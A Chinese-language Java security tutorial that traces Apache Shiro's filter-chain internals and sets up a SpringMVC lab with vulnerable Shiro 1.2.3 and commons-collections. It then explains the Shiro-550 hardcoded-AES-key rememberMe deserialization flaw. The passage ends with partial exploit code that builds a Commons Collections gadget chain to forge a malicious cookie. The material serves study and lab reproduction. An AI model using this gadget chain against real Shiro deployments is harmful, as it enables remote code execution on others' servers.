前言
本篇文章是 《Java 安全 | 从 Shiro 底层源码看 Shiro 漏洞 (上)》的后续部分, 由于篇幅问题, 故分为两部分, 请大家衔接阅读...
FilterChainResolver::PathMatchingFilterChainResolver
代码再继续运行, 我们则会看到FilterChainResolver
的身影:
目前我们知道的是,PathMatchingFilterChainResolver
只是将FilterChainManager
设置进去了, 这里并没有调用其他方法, 随后丢给了new SpringShiroFilter
, 目前我们还不知道PathMatchingFilterChainResolver
具体是用来干嘛的, 先不管, 后面看程序是否调用到某个方法时, 我们再进行研究.
new SpringShiroFilter
最后就走到SpringShiroFilter
这个构造函数了, 分别传递了WebSecurityManager
以及FilterChainResolver
, 下面我们看一下做了一些什么操作:
这个Filter最终设置了程序员定义的WebSecurityManager
以及在createInstance()
方法中生成的FilterChainResolver
. 虽然目前我们还不知道FilterChainResolver
做了什么.
doFilterInternal 核心逻辑
因为SpringShiroFilter
是一个Filter
, 并且实现了OncePerRequestFilter
, 所以每次HTTP请求过来时, 会调用doFilterInternal
方法, 现在我们看一下这个方法做了什么:
封装 request, response
这里只是对 request, response 进行了简单的封装, 封装为ShiroHttpServletRequest, ShiroHttpServletResponse
, 读到这里暂时还没有发现对这两种方法上有什么扩展, 暂时先不管. 不过这两个封装的类类图如下:
可以看到, 都实现了HttpServletRequest, HttpServletResponse
.
createSubject::SubjectContext
下面我们首先分析一下WebSubject.Builder
方法做了什么事情:
我们可以看到的是,WebSubject.Builder
这个类, 维护了subjectContext && securityManager
,securityManager
从刚开始我们已经介绍过了, 重点是这个SubjectContext
.
SubjectContext
是一个大的Map, 这个Map中包含了SecurityManager, ShiroServletRequest, ShiroServletResponse
, 它的关系图如下:
我们可以看到的是, 它将本次请求的request, response
, 以及我们重要的securityManager
进行封装了. 那么下面我们看一下WebSubject.Builder::buildWebSubject
方法做了什么:
可以看到的是, 当一次请求过来, 如果当前请求存在 SESSION, 那么会将当前的 SESSION 放入到 SubjectContext 这个 Map 中进行管理.
我们可以清晰的感觉到, SubjectContext 中存储了当前 HTTP 请求的各种状态.
这里我们可以看到, 首先判断SESSION, 如果SESSION中存在用户名信息, 那么就直接返回, 如果SESSION不存在, 或者SESSION中没有用户名信息, 那么就会通过RememberMe
组件进行反序列化得到当前用户信息, 这里存在一个Shiro550的一个漏洞, 先留下悬念, 漏洞后面我们再分析.
通过这几行代码, 我们可以清楚的感受到, SubjectContext 这个 Map 中存放着当前 HTTP 请求中的所有状态, 以及我们的 SecurityManager.
下面 save 方法仅仅只是对 subject 进行校验, 在这里就不再说明了, 因为整个createSubject
方法是对subject
的处理. subject 中包含了当前状态的信息, 知道这些, 已经足够了.
subject.execute
WebDelegatingSubject, 是 createSubject 的返回结果, 那么我们看一下该类图:
那么我们接着看代码:
可以看到,SubjectCallable
类似于一个代理类, 它将外部的
new Callable() {
public Object call() throws Exception {
updateSessionLastAccessTime(request, response);
executeChain(request, response, chain);
return null;
}
}
封装到自己的callable属性
中, 将WebDelegatingSubject
封装为了SubjectThreadState
. 因为subject.execute
会执行SubjectCallable::call
方法, 那么我们跟进:
可以看到的是, 这一系列代码做了两件事:
将当前 WebDelegatingSubject 对象与线程绑定在一起
获取当前URI, 与 FilterChainManager 中的 URI 进行逐步匹配, 匹配成功后会调用
filterChainManager.proxy(originalChain,当前URI)
方法.
那么我们看一下匹配成功后做了什么事情:
假设匹配到的 Filter 为:SimpleNamedFilterList[AnonymouseFilter, UserFilter]
.
匹配成功后, 将SimpleNamedFilterList
交给ProxiedFilterChain
, 随后ProxiedFilterChain
调用AnonymouseFilter::onPreHandle
方法, 执行完毕后, 接着调用UserFilter::onPreHandle
, 当SimpleNamedFilterList
遍历完毕后, 运行结束.
从这里我们可以看到,Shiro
中自带的Filter
, 核心逻辑是重定义onPreHandle | preHandle
方法, 下面看一下一些Filter
的onPreHandle
方法是怎么定义的:
可以看到AnonymousFilter
作为anon
的代名词, 只要配置了anon
并访问具体路由, 就会调用到AnonymousFilter::onPreHandle
方法, 任何用户都可以直接访问, 是因为这里直接返回了 true.
而LogoutFilter
作为logout
的代名词, 只要配置了logout
并访问具体路由, 就会调用到LogoutFilter::preHandle
方法, 直接调用了subject.logout()
方法进行清空当前状态.
而UserFilter
的定义比较复杂, 它的onPreHandle
是在父类上, 其定义如下:
这里的一些其他逻辑, 我们在做测试的时候可以细看, 至此, 整个 Shiro 框架运行核心原理已清楚!
SpringMVC 环境搭建
由于我们上面的环境是配置在SpringBoot
上的, 我们阅读底层源码的时候, 因为SpringBoot
有FilterRegistrationBean && 自动扫描 Filter
机制, 所以我们在SpringBoot
中, 只要稍微配置一下ShiroFilterFacotryBean
即可直接使用ShiroFilter
, 而在 SpringMVC 环境中, 是不存在FilterRegistrationBean
的.
这一部分知识点不只是开发的, 包括我们在打Shiro
反序列化漏洞的时候, SpringMVC 环境 与 SpringBoot 环境也大有不同, 经过思考, 将 SpringMVC 环境下的配置核心原理, 也写出来.
注意使用 IDEA 创建项目时, 选择Maven ArcheType
, 引入所需要的扩展:
<dependencies>
<dependency> <!-- 引入 junit, 可以进行测试包 -->
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency> <!-- 引入 springMVC -->
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.8</version>
</dependency>
<dependency> <!-- 支持切面编程 -->
<groupId>org.springframework</groupId>
<artifactId>spring-aspects</artifactId>
<version>5.3.8</version>
</dependency>
<dependency> <!-- 引入 servlet-api -->
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
<dependency> <!-- 引入 shiro-spring -->
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.3</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId> <!-- 引入 commons-collections 链 -->
<version>3.2.1</version>
</dependency>
<!-- 添加Tomcat依赖, 对应到自己的版本号 -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.100</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-servlet-api</artifactId>
<version>8.5.100</version>
<scope>provided</scope>
</dependency>
<!-- 如果你需要使用Jasper for JSP support -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>8.5.100</version>
<scope>provided</scope>
</dependency>
</dependencies>
随后我们在Maven
项目中, 添加对Tomcat
的支持, 这个步骤就不再重复了, 熟悉 IDEA 的都懂. 接下来我们一步一步配置Shiro
的环境.
在/WEB-INF/web.xml
中创建如下内容:
<filter>
<filter-name>shiroFilter</filter-name> <!-- filter-name 写 shiro bean 的名称 -->
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:ApplicationContext.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
可以看到, 这里我们使用DelegatingFilterProxy
进行配置我们shiroFilter
, 创建resources/ApplicationContext.xml
文件内容如下:
<context:component-scan base-package="com.heihu577"/> <!-- 扫描 Bean -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/pages/"/> <!-- 配置视图解析器, 当然了, 这里需要在 web/WEB-INF/ 下创建 pages 目录 -->
<property name="suffix" value=".jsp"/>
</bean>
<bean id="defaultWebSecurityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="rememberMeManager"> <!-- 准备 rememberMeManager -->
<bean class="org.apache.shiro.web.mgt.CookieRememberMeManager">
<property name="cookie">
<bean class="org.apache.shiro.web.servlet.SimpleCookie">
<property name="name" value="rememberMe"/> <!-- 配置 Cookie 名称 -->
<property name="maxAge" value="60"/> <!-- Cookie 存活时长 -->
</bean>
</property>
</bean>
</property>
<property name="realm"> <!-- 准备自定义 Realm, 账号任意, 密码 heihu577 即可登录. -->
<bean class="com.heihu577.realm.MyRealm"/>
</property>
</bean>
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<property name="filterChainDefinitionMap">
<map>
<entry key="/index" value="user"/> <!-- 记住我访问 -->
<entry key="/login" value="anon"/> <!-- 任意用户访问 -->
<entry key="/user/login" value="anon"/> <!-- 任意用户访问 -->
<entry key="/**" value="authc"/> <!-- 已认证访问 -->
</map>
</property>
<property name="securityManager" ref="defaultWebSecurityManager"/> <!-- 定义 SecurityManager -->
<property name="loginUrl" value="/login"/> <!-- 定义登录页面 -->
<property name="unauthorizedUrl" value="/login"/> <!-- 定义未认证跳转页面 -->
</bean>
定义MyRealm
:
public class MyRealm extends AuthorizingRealm {
@Override
public String getName() {
return "myRealm";
}
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
return null;
}
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
UsernamePasswordToken upToken = (UsernamePasswordToken) token;
String username = upToken.getUsername();
SimpleAuthenticationInfo simpleAuthenticationInfo = new SimpleAuthenticationInfo(username, "heihu577", getName());
return simpleAuthenticationInfo;
}
}
随后定义Controller
:
@Controller
public class PageController {
@RequestMapping("/index")
public String index() {
return "index";
}
@RequestMapping("/login")
public String login() {
return "login";
}
}
以及登录用的Controller
:
@Controller
@RequestMapping("/user")
public class UserController {
@RequestMapping("/login")
public String login(HttpServletRequest request, String username, String password,
@RequestParam(defaultValue = "false", required = false) boolean rememberMe) {
UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
Subject subject = SecurityUtils.getSubject();
System.out.println(rememberMe);
usernamePasswordToken.setRememberMe(rememberMe);
try {
subject.login(usernamePasswordToken);
System.out.println("登陆成功!");
return "index"; // 登陆成功跳转
/* webapp/WEB-INF/pages/index.jsp 页面内容:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="shiro" uri="http://shiro.apache.org/tags" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<h3>Hello User: <shiro:principal/></h3>
</body>
</html>
*/
} catch (Exception e) {
System.out.println("登陆失败!");
request.setAttribute("msg", "登陆失败!");
return "login"; // 登陆失败
/* webapp/WEB-INF/pages/login.jsp 页面内容:
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>用户登录</title>
<base href="<%=request.getContextPath()%>/">
</head>
<body>
<form action="user/login" method="post"> <!-- 这里发送的控制器请求在 UserController 进行接收 -->
u: <input type="text" name="username"><br>
p: <input type="password" name="password"><br>
rememberMe: <input type="radio" name="rememberMe"><br>
<input value="登录" type="submit"><br>
${requestScope.msg}
</form>
</body>
</html>
*/
}
}
}
那么我们就搭建了与上面SpringBoot
环境"一模一样"的SpringMVC
环境.
DelegatingFilterProxy 核心逻辑
与SpringBoot
不同的是, 在SpringMVC
中进行配置Shiro
, 需要使用DelegatingFilterProxy
进行支撑, 下面我们看一下为什么需要DelegatingFilterProxy
. 首先我们看一下DelegatingFilterProxy
的类图:
我们可以看到, 该类是一个Filter
, 并且继承了GenericFilterBean
类, 既然是Filter
, 那么当我们配置该Filter
后启动Tomcat
容器, 就会调用Filter::init
方法, 那么我们先看一下该方法做了什么.
DelegatingFilterProxy::init
可以看到的是, 由于Tomcat
注册Filter
在Spring
容器初始化之前, 这里initFilterBean
方法并无法对shiroFilter
做初始化工作.
但是这里BeanWrapper.setPropertyValues(pvs, true)
, 会对targetFilterLifecycle
做初始化工作, 由于代码底层是Spring的代码, 笔者这里就不贴图了, 最终会调用到DelegatingFilterProxy::setTargetFilterLifecycle
, 进行初始化targetFilterLifecycle
这个成员属性.
而其他部分代码对filterConfig && targetBeanName
成员属性进行初始化操作.
我们就简单的理解该方法是用来保存filterConfig && targetBeanName && targetFilterLifecycle
到自己的成员属性中的功能吧.
那么我们分析一下DelegatingFilterProxy::doFilter
方法.
DelegatingFilterProxy::doFilter
通过DelegatingFilterProxy::doFilter
方法我们可以看到, 对 Spring 中是 Filter 的 Bean 进行调用 init 方法与 doFilter 方法.
调用具体 Filter 的 init 方法的前提是, 配置了targetFilterLifecycle
为true
才会进行调用.
Shiro 漏洞分析
Shiro 550 条件: < 1.2.4
Shiro 550
是一个经典的反序列化漏洞, 它是由于RememberMe
功能模块,AES加密
使用了默认Key
, 从而导致了黑客可以通过伪造Key
进行反序列化任意值, 如果此时恰好存在RCE的反序列化链路, 那么黑客将可以使反序列化漏洞升级为RCE漏洞.
调用点回顾
在我们前面分析Shiro
底层机制时, 我们注意到, 当一次HTTP
请求过来时, 会调用到SpringShiroFilter::doFilterInternal
方法, 而这个方法中createSubject
方法调用时, 会解析当前用户的状态, 链路如下:
反序列化点分析
那么我们重点关注getRememberedPrincipals
方法:
我们可以看到, 该代码段做了如下事情.
拿到
Cookie
中的rememberMe
的值对
rememberMe
进行Base64
解码操作使用
AES处理器
对Base64解码后的值
进行AES解码
操作将最终解码后的值使用反序列化处理
漏洞产生原理
乍一看逻辑没什么问题, 但问题是AesCipherService
使用的KEY, 是程序中已写死的KEY, 如图:
那么黑客可以通过如下操作:
使用该
Key
对恶意序列化值
进行AES
加密处理.将该
AES
值进行Base64
编码操作将该
Base64值
放入到rememberMe
这个Cookie
中
这样程序将进行反序列化黑客所指定的恶意序列化值. 从而引发反序列化漏洞.
漏洞复现 - SpringBoot - CC 链
我们可以编写如下EXP, 生成恶意Cookie
值.
public class MyExp01 {
public static void main(String[] args) throws Exception {
AesCipherService aesCipherService = new AesCipherService(); // 创建 AES 加密器.
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类的 Base64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577");
HashMap<TiedMapEntry, Object> hsMap = new HashMap&